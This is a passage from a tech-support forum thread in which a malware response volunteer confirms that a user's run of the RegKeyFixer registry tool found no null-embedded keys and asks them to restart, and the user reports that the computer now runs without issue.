2014-07-17 09:28 - 2014-07-17 09:25 - 0015889 _____ () C:\Regkeyfixer\RegKeyFixer.au3
2014-07-17 09:28 - 2014-07-17 09:25 - 0311905 _____ () C:\Regkeyfixer\RegKeyFixer.exe
2014-07-17 09:28 - 2014-07-17 09:25 - 0819857 _____ () C:\Regkeyfixer\RegKeyFixer64.exe
 
====== End of Folder: ======
 
 
==== End of Fixlog ====


#14 B-boy/StyLe/

B-boy/StyLe/

    Bleepin' Freestyler


  • Malware Response Team
  • 8,307 posts
  • OFFLINE
  •  
  • Gender:Male
  • Location:Bulgaria
  • Local time:04:51 AM

Posted 17 July 2014 - 09:49 AM

Hello,

 

No worries. I've just noticed that you was able to execute the command as it should and no keys with embedded nulls were found on your system.

 

c:\RegKeyFixer>RegKeyFixer64.exe \registry\user\S-1-5-21-1599506222-1575010799-3
243662978-1000_Classes -f -s
Job took 1.55 seconds

 

Please restart the computer and let me know if the issue still exists.

 

 

Regards,

Georgi


cXfZ4wS.png


#15 KydaSteve

KydaSteve
  • Topic Starter

  • Members
  • 10 posts
  • OFFLINE
  •  
  • Local time:09:51 PM

Posted 17 July 2014 - 10:15 AM

The computer has been running for about 10 minutes now without issue. I will watch it for alittle while and make sure there is no more issues but it all seems well.






0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users